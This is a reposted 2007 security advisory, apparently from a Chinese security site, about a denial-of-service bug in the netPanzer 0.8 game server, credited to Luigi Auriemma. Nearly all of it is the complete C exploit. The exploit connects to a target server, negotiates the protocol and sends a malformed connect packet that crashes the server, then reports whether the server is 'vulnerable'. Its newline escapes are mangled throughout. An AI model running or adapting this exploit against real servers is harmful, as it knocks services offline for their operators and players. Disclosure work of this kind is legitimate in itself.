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| netPanzer Server DoS | ||||
| 作者：佚名 安全中心来源：不详 点击数： 更新时间：2007-10-10 | ||||
NetPanzer is "an open source multiplayer tactical game enough known and played". Its possible to crash NetPanzer server exploiting the frameNum bug. Credit: The information has been provided by Luigi Auriemma. The original article can be found at: http://aluigi.altervista.org/adv/panza-adv.txt Details Vulnerable Systems: * netPanzer version 0.8 rev 952 Server Terminiation Exploit File winerr.h: /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include <string.h> #include <errno.h> void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "/nError: %s/n", error); exit(1); } File panza.c: /* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #ifdef WIN32 #include <winsock.h> #include "winerr.h" #define close closesocket #define sleep Sleep #define ONESEC 1000 #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h> #define ONESEC 1 #endif #define VER "0.1" #define BUFFSZ 0xffff #define PORT 3030 #define NETPANZER_PROTOCOL_VERSION 1019 enum { _net_message_id_connect_join_game_request, _net_message_id_connect_join_game_request_ack, _net_message_id_client_start_connect, _net_message_id_client_connect_request, _net_message_id_client_connect_result, _net_message_id_connect_client_settings, _net_message_id_client_connect_process_update, _net_message_id_client_connect_process_state_mesg, _net_message_id_connect_server_game_setup, _net_message_id_connect_client_game_setup_ping, _net_message_id_connect_client_game_setup_ack, _net_message_id_connect_client_abort, _net_message_id_connect_netPanzer_client_disconnect, _net_message_id_connect_netPanzer_server_disconnect }; enum { _join_request_result_success, _join_request_result_invalid_protocol, _join_request_result_server_busy }; enum { _connect_result_success, _connect_result_server_busy, _connect_result_server_full }; void send_netpanzer(int sd, u_char class, u_char id, u_char *in, u_short insz); int recv_netpanzer(int sd, u_char *class, u_char *id, u_char *out); int create_rand_string(u_char *data, int len, u_int *seed); u_int resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; u_int ver, seed; int sd, i, len; u_short port = PORT; u_char *buff, class, id; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("/n" "NetPanzer <= 0.8 (rev 952) frameNum bug "VER"/n" "by Luigi Auriemma/n" "e-mail: aluigi@autistici.org/n" "web: aluigi.org/n" "/n", stdout); if(argc < 2) { printf("/n" "Usage: %s <host> [port(%hu)]/n" "/n", argv[0], port); exit(1); } if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target: %s : %hu/n", inet_ntoa(peer.sin_addr), port); seed = time(NULL); ver = NETPANZER_PROTOCOL_VERSION; printf("- set version %d/n", ver); buff = malloc(BUFFSZ); if(!buff) std_err(); redo: sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); printf("- connect ..."); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); printf(" ok/n"); len = recv_netpanzer(sd, &class, &id, buff); send_netpanzer(sd, _net_message_id_client_connect_request, 0, (u_char *)&ver, 4); len = recv_netpanzer(sd, &class, &id, buff); if(buff[0] == _join_request_result_invalid_protocol) { ver = *(u_int *)(buff + 4); printf("- set version %u/n", ver); close(sd); goto redo; } len = recv_netpanzer(sd, &class, &id, buff); send_netpanzer(sd, _net_message_id_client_connect_request, ++id, NULL, 0); len = recv_netpanzer(sd, &class, &id, buff); if(buff[0] == _join_request_result_server_busy) { printf("/nError: server busy or full/n/n"); exit(1); } memset(buff, 0, 64); create_rand_string(buff, 64 - 1, &seed); // name *(u_short *)(buff + 64) = 0xffff; // flag... BUG if major than 41 buff[66] = 0; // color *(u_int *)(buff + 67) = 0; // don't know, server wants 71 send_netpanzer(sd, _net_message_id_client_connect_request, ++id, buff, 71); len = recv_netpanzer(sd, &class, &id, buff); send_netpanzer(sd, _net_message_id_client_connect_request, ++id, NULL, 0); send_netpanzer(sd, _net_message_id_client_connect_request, ++id, NULL, 0); len = recv_netpanzer(sd, &class, &id, buff); close(sd); printf("- wait some seconds:/n"); for(i = 3; i; i--) { printf("%3d/r", i); sleep(ONESEC); } printf("- check server:/n"); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) { printf("/n Server IS vulnerable!!!/n/n"); } else { printf("/n Server doesn't seem vulnerable/n/n"); } close(sd); return(0); } void send_netpanzer(int sd, u_char class, u_char id, u_char *in, u_short insz) { u_short len; len = insz + 4; send(sd, (void *)&len, 2, 0); send(sd, (void *)&class, 1, 0); send(sd, (void *)&id, 1, 0); send(sd, in, insz, 0); } int recv_netpanzer(int sd, u_char *class, u_char *id, u_char *out) { int t; u_short i, len; recv(sd, (void *)&len, 1, 0); recv(sd, (void *)&len + 1, 1, 0); len -= 2; if(len <= 0) return(0); recv(sd, (void *)class, 1, 0); recv(sd, (void *)id, 1, 0); len -= 2; if(len <= 0) return(0); for(i = 0; i < len; i += t) { t = recv(sd, out + i, len - i, 0); if(t < 0) std_err(); if(!t) break; } return(i); } int create_rand_string(u_char *data, int len, u_int *seed) { u_int rnd; u_char *p = data; const static u_char table[] = "0123456789" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz"; rnd = *seed; len = rnd % len; if(len < 5) len = 5; while(len--) { rnd = (rnd * 0x343FD) + 0x269EC3; rnd >>= 3; *p++ = table[rnd % (sizeof(table) - 1)]; } *p = 0; *seed = rnd; return(p - data); } u_int resolv(char *host) { struct hostent *hp; u_int host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("/nError: Unable to resolve hostname (%s)/n", host); exit(1); } else host_ip = *(u_int *)(hp->h_addr); } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("/nError"); exit(1); } #endif |
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